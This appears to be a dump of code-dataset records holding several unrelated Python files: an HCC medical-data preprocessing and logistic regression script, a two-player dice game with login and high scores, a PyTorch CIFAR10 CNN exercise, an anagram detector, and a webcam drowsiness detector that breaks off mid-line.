isinstance(argument, float):\n result += str(argument)\n # unsupported argument\n else:\n Logger.Error(\"NCLhelper, __getArgValueString: unsupported argument type \" + str(type(argument)))\n return result\n\n def getCommand(self):\n \"\"\"\n returns the command together with its arguments\n \"\"\"\n # create a list with arguments\n args = \"\"\n # loop over all arguments\n for argn in self.arguments:\n args += \" '\"\n args += argn[0] + \"=\" + self.__getArgValueString(argn[1])\n args += \"'\"\n return \"ncl -Q %s%s\" % (self.scriptfile, args)\n\n def run(self):\n \"\"\"\n Run the Script.\n @return: a tuple with the return value \n \"\"\"\n # run the script\n result = self.getstatusoutput(self.getCommand(), self.workpath)\n if result[0] == 0 and \"fatal:\" in result[1]:\n result = 1, result[1], result[2]\n if \"warning\" in result[1]:\n print(result[1])\n if \"debug\" in result[1]:\n print(result[1])\n return result\n","sub_path":"src/evaluation_system/external/basePlugin/NCLhelper.py","file_name":"NCLhelper.py","file_ext":"py","file_size_in_byte":2434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"14215100","text":"import operator\nimport keras\nfrom fancyimpute import KNN \nfrom sklearn.preprocessing import LabelBinarizer\nimport math\nfrom operator import itemgetter \nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\n#from sklearn import cross_validation\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import StandardScaler, RobustScaler\nfrom sklearn.metrics import roc_curve, accuracy_score, roc_auc_score, classification_report, r2_score, make_scorer, roc_curve, auc\nfrom sklearn.model_selection import cross_validate, train_test_split, cross_val_score, StratifiedKFold, KFold, cross_val_predict\nfrom sklearn.linear_model import LogisticRegression\n\ncolumns = [\n # nominal\n 'gender', #0-1\n 'symptoms', #0-1\n 'alcohol', #0-1\n 'hepatitis b surface antigen', #0-1\n 'hepatitis b e antigen', #0-1\n 'hepatitis b core antibody', #0-1\n 'hepatitis c virus antibody', #0-1\n 'cirrhosis', #0-1\n 'endemic countries', #0-1\n 'smoking', #0-1\n 'diabetes', #0-1\n 'obesity', #0-1\n 'hemochromatosis', #0-1\n 'arterial hypertension', #0-1\n 'chronic renal insufficiency', #0-1\n 'human immunodeficiency virus', #0-1\n 'nonalcoholic steatohepatitis', #0-1\n 'esophageal varices', #0-1\n 'splenomegaly', #0-1\n 'portal hypertension', #0-1\n 'portal vein thrombosis', #0-1\n 'liver metastasis', #0-1\n 'radiological hallmark', #0-1\n \n # integer\n 'age', # age at diagnosis\n \n # continuous\n 'grams of alcohol per day',\n 'packs of cigarets per year',\n \n # ordinal\n 'performance status',\n 'encephalopathy degree',\n 'ascites degree',\n \n # continuous \n 'international normalised ratio',\n 'alpha-fetoprotein',\n 'haemoglobin',\n 'mean corpuscular volume',\n 'leukocytes',\n 'platelets',\n 'albumin',\n 'total bilirubin',\n 'alanine transaminase',\n 'aspartate transaminase',\n 'gamma glutamyl transferase',\n 'alkaline phosphatase',\n 'total proteins',\n 'creatinine',\n \n # integer\n 'number of nodules',\n \n # continuous\n 'major dimension of nodule cm',\n 'direct bilirubin mg/dL',\n 'iron',\n 'oxygen saturation %',\n 'ferritin',\n \n #nominal\n 'class attribute', #0-1\n]\ncolumns = list([x.replace(' ', '_').strip() for x in columns])\n\ndf = pd.read_csv('hcc-data.csv', names=columns, header=None, na_values=['?'])\n\n\ndata = df.copy()\n\nprint(\"Null values colunt for each column\")\n\ndata.isnull().sum(axis=0)\n\ndef prepare_missing_values_for_nans(df=None, columns=None):\n \"\"\"\n Looking for the most frequent value for both decision classes outputs - 0,1.\n \"\"\"\n \n to_update_nans_dict = {}\n \n if columns:\n for decision_class in [0, 1]:\n for column in columns:\n vals = df[df.class_attribute == decision_class][column].value_counts()\n \n to_update_nans_dict['{decision_class}_{column}'.format(\n decision_class=decision_class,\n column=column\n )] = vals.idxmax()\n \n return to_update_nans_dict\n \ndef replace_missing_values(df=None, columns=None, to_update_nans_dict=None):\n \"\"\"\n Replacing NaN with the most frequent values for both decission classes outputs - 0,1.\n \"\"\"\n \n df_list = []\n \n if columns:\n for decision_class in [0, 1]:\n _df = df[df.class_attribute == decision_class].reset_index(drop=True)\n\n for column in columns: \n _df[column] = _df[column].fillna(\n to_update_nans_dict['{}_{}'.format(decision_class, column)]\n )\n\n df_list.append(_df)\n\n return df_list\n \nnominal_indexes = [\n 1, 3, 4, 5, \n 6, 8, 9, 10, \n 11, 12, 13, \n 14, 15, 16, \n 17, 18, 19, \n 20, 21, 22\n]\n\nnominal_columns_to_discretize = list(itemgetter(*nominal_indexes)(columns))\n\ncons = data.loc[:, :]\n\ncons['null_values'] = cons.isnull().sum(axis=1)\n\n\n\ndata2 = data.drop(columns=['null_values'])\n\nnominal_dict = prepare_missing_values_for_nans(df=data2, columns=nominal_columns_to_discretize)\n\nmissing_nominal_values_list = replace_missing_values(\n df=data2,\n columns=nominal_columns_to_discretize,\n to_update_nans_dict=nominal_dict\n\n)\n\ndata2 = pd.concat(missing_nominal_values_list).reset_index(drop=True)\n\n\n\ncontinuous_indexes = [\n 24,25,29,30,\n 31,32,33,34,\n 35,36,37,38,\n 39,40,41,42,\n 44,45,46,47,\n 48]\n\n\ncontinuous_columns_to_discretize = list(\n itemgetter(*continuous_indexes)(columns)\n)\n\ncontinuous_data = data2[continuous_columns_to_discretize].as_matrix()\n\n\n\nX_filled_knn = KNN(k=3).fit_transform(continuous_data)\n\ndata2[continuous_columns_to_discretize] = X_filled_knn\n\nX_filled_knn.shape\n\ninteger_columns = ['age', 'number_of_nodules']\n\n# prepare missing integer values\ninteger_dict = prepare_missing_values_for_nans(\n df=data2, \n columns=integer_columns\n)\n\nmissing_integer_values_list = replace_missing_values(\n df=data2,\n columns=integer_columns,\n to_update_nans_dict=integer_dict\n\n)\n\ndata2 = pd.concat(missing_integer_values_list).reset_index(drop=True)\n\ndata2['ascites_degree'].value_counts()\n\nordinal_columns = ['encephalopathy_degree', 'ascites_degree', 'performance_status']\n\nordinal_dict = prepare_missing_values_for_nans(\n df=data2, \n columns=ordinal_columns\n)\n\nmissing_ordinal_values_list = replace_missing_values(\n df=data2,\n columns=ordinal_columns,\n to_update_nans_dict=ordinal_dict\n\n)\n\ndata2 = pd.concat(missing_ordinal_values_list).reset_index(drop=True)\n\ndata2[data2.isnull().any(axis=1)]\n\nordinal_columns\n\nbinarized_data = []\n\nfor c in ordinal_columns:\n lb = LabelBinarizer()\n \n lb.fit(data2[c].values)\n \n binarized = lb.transform(data2[c].values)\n binarized_data.append(binarized)\n\nbinarized_ordinal_matrix_data = pd.DataFrame(np.hstack(binarized_data))\n\nlist(set(data2.number_of_nodules.values))\n\nlb = LabelBinarizer()\n\nlb.fit(data2.number_of_nodules.values)\n\nbinarized_number_of_nodules = pd.DataFrame(lb.transform(data2.number_of_nodules.values))\n\n\ndata2['age_'] = data2.age.apply(lambda x: x / data2.age.max())\n\n\ndata2['age_'].head(10)\n\nage_ = data2.age_.values.reshape(-1,1)\n\nto_drop_columns = [\n 'age', \n 'encephalopathy_degree', \n 'ascites_degree', \n 'performance_status', \n 'number_of_nodules'\n]\n\ncolumns_set = set(columns)\n\ncolumns_ = list(columns_set.difference(to_drop_columns))\n\nlen(columns)\n#len(_columns)\n\ndata2.to_csv(\"Prepocessed_HCC.csv\",index=False)\n\nX = pd.DataFrame(data2[columns_].as_matrix())\ny = pd.DataFrame(data2.class_attribute.values)\n\nbinary_columns=['encephalopathy_degree_1','encephalopathy_degree_2','encephalopathy_degree_3',\n 'ascites_degree_1','ascites_degree_2','ascites_degree_3','performance_status_1',\n 'performance_status_2','performance_status_3','performance_status_4','performance_status_5']\nnodules_coulmns=['number_of_nodule_0','number_of_nodule_1','number_of_nodule_2',\n 'number_of_nodule_3','number_of_nodule_4','number_of_nodule_5']\n\nX.columns=columns_\nbinarized_ordinal_matrix_data.columns=binary_columns\n\n\nbinarized_number_of_nodules.columns=nodules_coulmns\n\ncc=[columns_,binary_columns,binarized_number_of_nodules,age_,]\nccc=['hepatitis_c_virus_antibody',\n 'class_attribute',\n 'platelets',\n 'international_normalised_ratio',\n 'hepatitis_b_surface_antigen',\n 'packs_of_cigarets_per_year',\n 'direct_bilirubin_mg/dL',\n 'haemoglobin',\n 'portal_vein_thrombosis',\n 'arterial_hypertension',\n 'total_bilirubin',\n 'human_immunodeficiency_virus',\n 'total_proteins',\n 'chronic_renal_insufficiency',\n 'major_dimension_of_nodule_cm',\n 'leukocytes',\n 'smoking',\n 'symptoms',\n 'endemic_countries',\n 'obesity',\n 'aspartate_transaminase',\n 'creatinine',\n 'ferritin',\n 'diabetes',\n 'cirrhosis',\n 'iron',\n 'alkaline_phosphatase',\n 'nonalcoholic_steatohepatitis',\n 'mean_corpuscular_volume',\n 'alpha-fetoprotein',\n 'hemochromatosis',\n 'portal_hypertension',\n 'alanine_transaminase',\n 'gamma_glutamyl_transferase',\n 'hepatitis_b_core_antibody',\n 'oxygen_saturation_%',\n 'grams_of_alcohol_per_day',\n 'hepatitis_b_e_antigen',\n 'esophageal_varices',\n 'radiological_hallmark',\n 'albumin',\n 'liver_metastasis',\n 'gender',\n 'splenomegaly',\n 'alcohol','encephalopathy_degree_1','encephalopathy_degree_2','encephalopathy_degree_3',\n 'ascites_degree_1','ascites_degree_2','ascites_degree_3','performance_status_1',\n 'performance_status_2','performance_status_3','performance_status_4','performance_status_5',\n 'number_of_nodule_0','number_of_nodule_1','number_of_nodule_2',\n 'number_of_nodule_3','number_of_nodule_4','number_of_nodule_5','agee']\n \n\nX_new = pd.DataFrame(np.hstack((X, binarized_ordinal_matrix_data,binarized_number_of_nodules, age_)))\n#X_new = pd.DataFrame([X, binarized_ordinal_matrix_data,binarized_number_of_nodules, age_])\n\nX_new.columns=ccc\n\ndf2=X_new\nX_new.to_csv(\"finalpre.csv\",index=False)\n\nprint(\"After preprocessing : filled null values\")\ndf2.isnull().sum()\n\nX_new=X_new.drop('class_attribute', 1)\n\n#y=df2['class_attribute']\n\nX_new.to_csv(\"finalpre.csv\",index=False)\nX_new.shape\n\nstd_scaler = StandardScaler() #StandardScaler() # RobustScaler\nX_new = std_scaler.fit_transform(X_new)\n\n\n\nX_train, X_test, y_train, y_test = train_test_split(\n X_new,\n y,\n random_state=42,\n test_size=0.20\n)\nlog_reg = LogisticRegression(\n solver='lbfgs',\n random_state=42,\n C=0.1,\n multi_class='ovr',\n penalty='l2',\n)\nlog_reg.fit(X_train, y_train)\n\nlog_reg_predict = log_reg.predict(X_test)\n\n\nlog_reg.score(X_test, y_test)\n\npreds = log_reg.predict(X_test)\nprint('\\nLogistic Regression Accuracy: {:.2f}%'.format(accuracy_score(y_test, log_reg_predict) * 100))\nprint('Logistic Regression AUC: {:.2f}%'.format(roc_auc_score(y_test, log_reg_predict) * 100))\nprint('Logistic Regression Classification report:\\n\\n', classification_report(y_test, log_reg_predict))\n\nkfold = StratifiedKFold(\n n_splits=3, \n shuffle=True, \n random_state=42\n)\n\npredicted = cross_val_predict(\n log_reg, \n X_new, \n y, \n cv=kfold\n)\n\nscores = cross_val_score(\n log_reg, \n X_new, \n y, \n cv=kfold,\n scoring='f1'\n)\n\nprint('Cross-validated scores: {}\\n'.format(scores))\n\nprint(classification_report(y, predicted))\n\nprint(\"LogisticRegression: F1 after 5-fold cross-validation: {:.2f}% (+/- {:.2f}%)\".format(\n scores.mean() * 100,\n scores.std() * 2\n))","sub_path":"Spyder/1.Preprocess.py","file_name":"1.Preprocess.py","file_ext":"py","file_size_in_byte":10510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"216142985","text":"#Lawan Sardar\r\n#Nea Project\r\n#Bugs 0\r\n\r\n\r\n#Importing each library that im going to use\r\nimport random as rng #The random library will be used to replicate a dice roll and the name \"rng\" is used as it is shorter\r\nimport sys #The sys library will be used to shutdown the program when the user wants to exit\r\nimport time #The time libary will be used so the user can follow what is happening\r\nimport LoginModule as abbas\r\n\r\n#High Score System\r\ndef HighScore(p1Score, p2Score):\r\n print(\"Do you want to save your scores?\")\r\n saveScore = input(\"Y/N\\n\")\r\n if saveScore.upper() == \"Y\": #Checks to see if the users want to save their scores\r\n with open(\"highScores.txt\", \"a\") as file1:\r\n file1.write(user[0]) #Writes the user's name to the file\r\n file1.write(\"\\t\") #Writes a tab to serperate the name and the score\r\n file1.write(str(p1Score)) #Writes the user's score\r\n file1.write(\"\\n\") #Writes a new line to space out each line of data\r\n file1.write(user[1]) #Writes the user's name to the file\r\n file1.write(\"\\t\") #Writes a tab to serperate the name and the score\r\n file1.write(str(p2Score)) #Writes the user's score\r\n file1.write(\"\\n\") #Writes a new line to space out each line of data\r\n print(\"Saving...\")\r\n time.sleep(1) #Adds a short gap for user friendliness\r\n print(\"Saved!\")\r\n print (file1)\r\n a = [] #Temporary list to format the list\r\n highScores = [] #Permanent list to hold the highScores\r\n length = 0 #Variable that increments to measure the length of the list highScores\r\n with open(\"highScores.txt\", \"r\") as file2:\r\n for line in file2:\r\n a = line.split(\"\\t\") #Splits the userName and the Score up into two parts\r\n a[1] = a[1].strip(\"\\n\") #Removed the new line from the list\r\n highScores.append(a[0]) #Appends the userName to the list\r\n highScores.append(a[1]) #Appends the Score to the list\r\n length += 2\r\n #Bubble Sort Algorithm\r\n for i in range(0,length,2): #Repeat the pass\r\n for j in range(1,length-1,2): #Single Pass\r\n if highScores[j] < highScores[j+2]:\r\n highScores[j],highScores[j+2] = highScores[j+2],highScores[j]\r\n highScores[j-1],highScores[j+1] = highScores[j+1],highScores[j-1]\r\n with open(\"highScores.txt\", \"w\") as file3:\r\n file3.write(\"\") #Clears the file\r\n with open(\"highScores.txt\", \"a\") as file4:\r\n for k in range (0,length,2):\r\n file4.write(highScores[k]) #Writes the userName to the file\r\n file4.write(\"\\t\")\r\n file4.write(highScores[k+1]) #Writes the Score to the file\r\n file4.write(\"\\n\") #Pre-emptive new line for the next entry\r\n else:\r\n print(\"Okay then not saving...\")\r\n\r\n#Game System\r\ndef runGame():\r\n p1Score = 0 #Assigning both scores to 0 to begin with\r\n p2Score = 0\r\n print(\"Press Enter to roll\")\r\n for i in range (0,5): #Loops 5 times for each round\r\n time.sleep(1) #Adds a short gap between each round so the user can follow what is being outputted\r\n print(\"\\nRound\",i+1) #Adds one to \"i\" so that the round outputted is correct\r\n input (user[0]+\"'s roll...\") #Uses the user's name from the list for user friendliness\r\n time.sleep(1) #Adds a short gap for user friendliness\r\n #Player 1 rolls\r\n numRolled1 = rng.randint(1,6) #First dice roll\r\n numRolled2 = rng.randint(1,6) #Second dice roll\r\n p1Score += numRolled1 + numRolled2 #Adds dice rolls\r\n print(\"You rolled\",numRolled1,\"&\",numRolled2)\r\n print(\"Total rolled...\",numRolled1+numRolled2)\r\n time.sleep(1) #Adds a short gap for user friendliness\r\n if (numRolled1 + numRolled2) % 2 == 0: #Checks to if the number rolled is even\r\n time.sleep(0.75) #Adds a short gap for user friendliness\r\n print(\"You rolled even!\\t\\t\\t+10 Points\")\r\n p1Score += 10\r\n else: #Number rolled must be odd\r\n time.sleep(0.75) #Adds a short gap for user friendliness\r\n print(\"You rolled odd!\\t\\t\\t-5 Points\")\r\n if p1Score > 0:\r\n p1Score -= 5\r\n if numRolled1 == numRolled2: #If the two numbers rolled are equal then the user gets to roll again\r\n time.sleep(0.75) #Adds a short gap for user friendliness\r\n print(\"You rolled a double!\\t\\t\\tRoll Again!\")\r\n numRolled3 = rng.randint(1,6) #Third(extra) dice roll\r\n p1Score += numRolled3\r\n print (\"You rolled\", numRolled3)\r\n input (\"\\n\"+user[1]+\"'s roll...\")\r\n time.sleep(1) #Adds a short gap for user friendliness\r\n #Player 2 rolls\r\n numRolled1 = rng.randint(1,6) #First dice roll\r\n numRolled2 = rng.randint(1,6) #Second dice roll\r\n p2Score += numRolled1 + numRolled2 #Adds dice rolls\r\n print(\"You rolled\",numRolled1,\"&\",numRolled2)\r\n print(\"Total rolled...\",numRolled1+numRolled2)\r\n time.sleep(1) #Adds a short gap for user friendliness\r\n if (numRolled1 + numRolled2) % 2 == 0: #Checks to if the number rolled is even\r\n time.sleep(0.75) #Adds a short gap for user friendliness\r\n print(\"You rolled even!\\t\\t\\t+10 Points\")\r\n p2Score += 10\r\n else: #Number rolled must be odd\r\n time.sleep(0.75) #Adds a short gap for user friendliness\r\n print(\"You rolled odd!\\t\\t\\t-5 Points\")\r\n if p2Score > 0:\r\n p2Score -= 5\r\n if numRolled1 == numRolled2: #If the two numbers rolled are equal then the user gets to roll again\r\n time.sleep(0.75) #Adds a short gap for user friendliness\r\n print(\"You rolled a double!\\t\\t\\tRoll Again!\")\r\n numRolled3 = rng.randint(1,6) #Third(extra) dice roll\r\n p2Score += numRolled3\r\n print (\"You rolled\", numRolled3)\r\n print(\"\\nEnd of round\", i+1) #Prints total scores at the end of each round\r\n print(user[0],\"total is...\",p1Score)\r\n print(user[1],\"total is...\",p2Score)\r\n if p1Score > p2Score: #After the 5 rounds it checks the scores\r\n print(user[0],\"wins!!\")\r\n elif p1Score < p2Score:\r\n print(user[1],\"wins!!\")\r\n else: \r\n draw = True\r\n while draw is True: #If the scores are equal both players roll a dice until one player gets a number\r\n print(\"It's a DRAW!!! WHAT??\")\r\n print(\"You're both going to get one more roll...\\nWhoever wins this roll is the winner\")\r\n input(user[0]+\"'s roll...\")\r\n p1DrawRoll = rng.randint(1,6)\r\n print(user[0],\"rolls a\", p1DrawRoll)\r\n input(\"\\n\"+user[1]+\"'s roll...\")\r\n p2DrawRoll = rng.randint(1,6)\r\n print(user[1],\"rolls a\",p2DrawRoll)\r\n if p1DrawRoll > p2DrawRoll:\r\n print(user[0],\"wins!!\")\r\n time.sleep(1) #Adds a short gap for user friendliness\r\n draw = False\r\n elif p1DrawRoll < p2DrawRoll:\r\n print(user[1],\"wins!!\")\r\n time.sleep(1) #Adds a short gap for user friendliness\r\n draw = False\r\n return p1Score, p2Score\r\n\r\n\r\n#Menu System\r\nglobal user\r\nglobal accessGranted #The variable accessGranted is used through out multiple functions so it is easier to assign it as a global variable\r\nuser = []\r\naccessGranted = 0\r\nmenuLoop = True\r\nprint(\"\\n\\n**********************************************************\")\r\nprint(\"Welcome! To the GREATEST two player dice game ever made!\")\r\nprint(\"**********************************************************\")\r\nwhile menuLoop is not False:\r\n print(\"\\nWhat would you like to do?\")\r\n time.sleep(0.5) #Adds a short gap for user friendliness\r\n menuSelect = input(\"\\n\\t1.Play\\n\\t2.Login\\n\\t3.Register\\n\\t4.View Scores\\n\\t5.Rules\\n\\t6.Exit\\n\")\r\n if menuSelect == \"1\": #Run the game\r\n print(\"\\n\")\r\n if accessGranted == 2: #If both players have logged in then it allows access to the game\r\n p1Score, p2Score = runGame() #Runs the game and returns the scores\r\n HighScore(p1Score, p2Score) #Runs the highscore function and asks if the user wants to save them\r\n else:\r\n print(\"Both users need to login first!\") #Users aren't allowed to run the game until both users login\r\n elif menuSelect == \"2\": #Logs the users in\r\n userName=[] #Creates a list for usernames\r\n userPassword=[] #Creates a list for passwords\r\n with open(\"userName.txt\", \"r\") as file1: #Opens the file \"userName.txt\" as read\r\n i=0\r\n for line in file1: #For each line in the file\r\n Cline=str(line) #Assigns the variable \"Cline\" as the current line so that we can use the .strip() function to remove unneeded details\r\n Cline=Cline.strip(\"\\n\") #Removes the new line added\r\n userName.append(Cline) #Appends the current line into the list\r\n i+=1\r\n with open(\"userPassword.txt\", \"r\") as file2: #Opens the file \"userPassword.txt\" as read\r\n i=0\r\n for line in file2: #For each line in the file\r\n Cline=str(line) #Assigns the variable \"Cline\" as the current line so that we can use the .strip() function to remove unneeded details\r\n Cline=Cline.strip(\"\\n\") #Removes the new line added\r\n userPassword.append(Cline) #Appends the current line into the list\r\n i+=1\r\n print(\"\\nPlayer 1 Details...\")\r\n UserIDNum1 , accessGranted , user=abbas.Login(userName, userPassword, accessGranted, user) #Runs login function with the list of usernames and user passwords for the first user loging in\r\n print(\"\\nPlayer 2 Details...\")\r\n UserIDNum2 , accessGranted , user=abbas.Login(userName, userPassword, accessGranted, user) #Runs login function with the list of usernames and user passwords for the second user loging in\r\n elif menuSelect == \"3\": #Registeration\r\n print (\"\\n\")\r\n abbas.Register() #Runs registeration function\r\n elif menuSelect == \"4\": #Prints highscores\r\n print(\"\\n\")\r\n print(\"**********************************************************\")\r\n with open(\"highScores.txt\", \"r\") as file:\r\n [print (line.strip()) for line in file]\r\n print(\"**********************************************************\")\r\n elif menuSelect == \"5\": #Prints the rules\r\n print(\"\"\"\r\n The rules are: \\n\r\n \\t-The points rolled on each player’s dice are added to\\n\\t their score\r\n \\t-If the total is an even number, an additional 10 points are\\n\\t added to their score\r\n \\t-If the total is an odd number, 5 points are\\n\\t subtracted from their score\r\n \\t-If they roll a double, they get to roll one extra die\\n\\t and get the number of points rolled added to their score\r\n \\t-The score of a player cannot go below 0\\n\\t at any point\r\n \\t-The person with the highest score at the end of the\\n\\t 5 rounds wins\r\n \\t-If both players have the same score at the end\\n\\t of the 5 rounds, they each roll 1 die and whoever gets the\\n\\t highest score wins, this repeats until someone wins.\r\n \"\"\")\r\n elif menuSelect == \"6\": #Exits the program\r\n print (\"Exiting...\")\r\n time.sleep(1) #Adds a short gap for user friendliness\r\n print (\"LOGGING OFFFF...\")\r\n menuLoop = False\r\n sys.exit #Exits the program\r\n else:\r\n print (\"Sorry that value isn't recognised\\nTry again\")\r\n","sub_path":"PythonApplication1/PythonApplication1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"253835839","text":"# Deep Learning with Pytorch\n# Module 5: Convolutional Neural Networks (CNN)\n# CNN Challenge on CIFAR10 dataset\n\nimport torch\nimport torchvision\nimport torchvision.transforms as transforms\nimport matplotlib.pyplot as plt\nfrom torch.autograd import Variable\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n# Step 1: Setup\ntorch.manual_seed(1) \n\n# Hyper Parameters\nEPOCH = 2 \nBATCH_SIZE = 128\nLR = 0.001 \n\ntrain_data = torchvision.datasets.CIFAR10(\n root='./cifar10', \n train=True, \n download=True, \n transform=transforms.ToTensor())\n\ntrain_loader = torch.utils.data.DataLoader(\n train_data, \n batch_size=BATCH_SIZE, \n shuffle=True)\n\ntest_data = torchvision.datasets.CIFAR10(\n root='./cifar10', \n train=False,\n download=True, \n transform=transforms.ToTensor())\n\ntest_loader = torch.utils.data.DataLoader(\n test_data, \n batch_size=BATCH_SIZE, \n shuffle=False)\n\nclasses = ('plane', 'car', 'bird', 'cat','deer', 'dog', 'frog', 'horse', 'ship', 'truck')\n\n# Step 2: Model\nclass CNN(nn.Module):\n def __init__(self):\n super(CNN, self).__init__()\n self.conv1 = nn.Conv2d(3, 6, 5)\n self.pool = nn.MaxPool2d(2, 2)\n self.conv2 = nn.Conv2d(6, 16, 5)\n self.fc1 = nn.Linear(16 * 5 * 5, 120)\n self.fc2 = nn.Linear(120, 84)\n self.fc3 = nn.Linear(84, 10)\n\n def forward(self, x):\n x = self.pool(F.relu(self.conv1(x)))\n x = self.pool(F.relu(self.conv2(x)))\n x = x.view(-1,16 * 5 * 5)\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = self.fc3(x)\n return x\n\n\ncnn = CNN()\nprint(cnn)\n\n# Step 3: Loss Funtion\nloss_func = nn.CrossEntropyLoss()\n\n#Step 4: Optimizer\noptimizer = torch.optim.Adam(cnn.parameters(), lr=LR)\n\n#Step 5: Training Loop\nfor epoch in range(EPOCH): # loop over the dataset multiple times\n for i, (x,y) in enumerate(train_loader):\n x, y = Variable(x), Variable(y) \n\n yhat = cnn(x)\n loss = loss_func(yhat, y) # cross entropy loss\n\n optimizer.zero_grad() # clear gradients for this training step\n loss.backward() # backpropagation, compute gradients\n optimizer.step() # apply gradients\n\n _,y_pred = torch.max(yhat.data, 1)\n total = y.size(0)\n correct = (y_pred == y.data).sum()\n if i % 10 == 0:\n print('Epoch/Step: {}/{}'.format(epoch,i), \n '| train loss: %.4f' % loss.data[0], \n '| accuracy: %.2f %%' % (100 * correct / total))\n\n#Step 6: Evaluation\nfor (x,y) in test_loader:\n yhat = cnn(Variable(x))\n _, y_pred = torch.max(yhat.data, 1)\n total = y.size(0)\n correct = (y_pred == y).sum()\nprint('Test accuracy: %.2f %%' % (100 * correct / total))\n\n","sub_path":"archive/module5_2_CNN_CIFAR_exercise.py","file_name":"module5_2_CNN_CIFAR_exercise.py","file_ext":"py","file_size_in_byte":2802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"366825268","text":"from collections import Counter\r\n\r\ndef detect_anagrams(word, candidates):\r\n word = word.lower()\r\n wordcount = Counter(word)\r\n correctwords = []\r\n for possibleword in candidates:\r\n possiblewordcopy = possibleword.lower()\r\n possiblecount = Counter(possiblewordcopy)\r\n if list(possiblecount.elements()) == list(wordcount.elements()):\r\n if possibleword.lower() != word:\r\n correctwords.append(possibleword)\r\n return correctwords\r\n","sub_path":"all_data/exercism_data/python/anagram/4bf4f10041e3433ea2701ddd34804020.py","file_name":"4bf4f10041e3433ea2701ddd34804020.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"311647966","text":"from scipy.spatial import distance as dist\nfrom imutils.video import VideoStream\nfrom imutils import face_utils\nfrom threading import Thread\nimport numpy as np\nimport argparse\nimport imutils\nimport time\nimport dlib\nimport cv2\nimport os\nfrom datetime import datetime\nimport csv\n\n# Sound the alarm using mpg123 audio player\n\n\ndef alarm():\n global alarmOnOf1\n global alarmOnOf2\n global writingFeedback\n\n if alarmOnOf1:\n s = 'mpg123 -q alert.mp3'\n os.system(s)\n\n if alarmOnOf2:\n writingFeedback = True\n s = 'mpg123 -q alert.mp3'\n os.system(s)\n writingFeedback = False\n\n\n# helper function to calculate the eye aspect ratio for an eye\ndef eyeAspectRatio(eye):\n A = dist.euclidean(eye[1], eye[5])\n B = dist.euclidean(eye[2], eye[4])\n\n C = dist.euclidean(eye[0], eye[3])\n\n ear = (A + B) / (2.0 * C)\n\n return ear\n\n\n# calculate eye aspect ratio of both eyes and find the average\ndef EAR(shape):\n (lStart, lEnd) = face_utils.FACIAL_LANDMARKS_IDXS[\"left_eye\"]\n (rStart, rEnd) = face_utils.FACIAL_LANDMARKS_IDXS[\"right_eye\"]\n\n leftEye = shape[lStart:lEnd]\n rightEye = shape[rStart:rEnd]\n\n leftEAR = eyeAspectRatio(leftEye)\n rightEAR = eyeAspectRatio(rightEye)\n\n ear = (leftEAR + rightEAR) / 2.0\n return (ear, leftEye, rightEye)\n\n# calculate mouth aspect ratio\n\n\ndef lipDistance(shape):\n upperLip = shape[50:53]\n upperLip = np.concatenate((upperLip, shape[61:64]))\n\n lowerLip = shape[56:59]\n lowerLip = np.concatenate((lowerLip, shape[65:68]))\n\n top_mean = np.mean(upperLip, axis=0)\n low_mean = np.mean(lowerLip, axis=0)\n\n distance = abs(top_mean[1] - low_mean[1])\n return distance\n\n\n# support for the use of external camera\nargParser = argparse.ArgumentParser()\nargParser.add_argument(\"-w\", \"--webcam\", type=int, default=0,\n help=\"index of webcam on system\")\nargs = vars(argParser.parse_args())\n\n# welcome message\nprint('Welcome to our drowsiness and Yawning Detector built to prevent accidents')\nprint('And also store the same data for future reference and improvement')\n\n# Feedback - To store the data of each driver\ns = input('Enter driver\\'s name:')\n\n\n# opening file with driver's name in the driver folder\nfile = open('/home/yash/Documents/IT204/Drivers/'+s+'.txt', 'a')\n# record = open('/home/yash/Documents/IT204/Record.csv', 'a')\nnow = datetime.now()\ncurrent_time = now.strftime(\"%H:%M:%S\")\ndt_string = now.strftime(\"%d/%m/%Y\")\nfile.write(\"\\n\\nRecord of \" + dt_string + \"\\nStarting Time \" +\n current_time + \"\\n----------------------\\n\")\n\nprint('Starting the Live Stream')\n\n# Standard Values\neyeThresh = 0.3\neyeThreshFrames = 30\nyawnThresh = 20\n\n# flag and counter variables\nalarmOnOf1 = False\nalarmOnOf2 = False\nCOUNTER = 0\nyawn_freq = 0\ndrowsy_freq = 0\nwritingFeedback = False\n# Face Detector\ndetector = dlib.get_frontal_face_detector()\n# Face Predictor\npredictor = dlib.shape_predictor('shape_predictor_68_face_landmarks.dat')\n\n# Opening Webcam and starting the stream\nvs = VideoStream(src=args[\"webcam\"]).start()\n\n# to add delay for opening of webcam and starting the live video stream\ntime.sleep(1.0)\n\n\nwhile True:\n\n frame = vs.read()\n frame = imutils.resize(frame, width=450)\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n # detects all the faces and makes an array of them\n rects = detector(gray, 0)\n\n # checks every face\n for rect in rects:\n\n shape = predictor(gray, rect)\n shape = face_utils.shape_to_np(shape)\n\n eye = EAR(shape)\n ear = eye[0]\n leftEye = eye[1]\n rightEye = eye[2]\n\n distance = lipDistance(shape)\n\n leftEyeHull = cv2.convexHull(leftEye)\n rightEyeHull = cv2.convexHull(rightEye)\n cv2.drawContours(frame, [leftEyeHull], -1, (0, 255, 0), 1)\n cv2.drawContours(frame, [rightEyeHull], -1, (0, 255, 0), 1)\n\n lip = shape[48:60]\n cv2.drawContours(frame, [lip], -1, (0, 255, 0), 1)\n\n if ear < eyeThresh:\n COUNTER += 1\n\n if COUNTER >= eyeThreshFrames:\n if alarmOnOf1 == False:\n alarmOnOf1 = True\n t = Thread(target=alarm, args=\"\")\n t.deamon = True\n t.start()\n now = datetime.now()\n current_time = now.strftime(\"%H:%M:%S\")\n file.write(\"Drowsy at \"+current_time+\"\\n\")\n drowsy_freq += 1\n cv2.putText(frame, \"DROWSINESS ALERT!\", (10, 30),\n 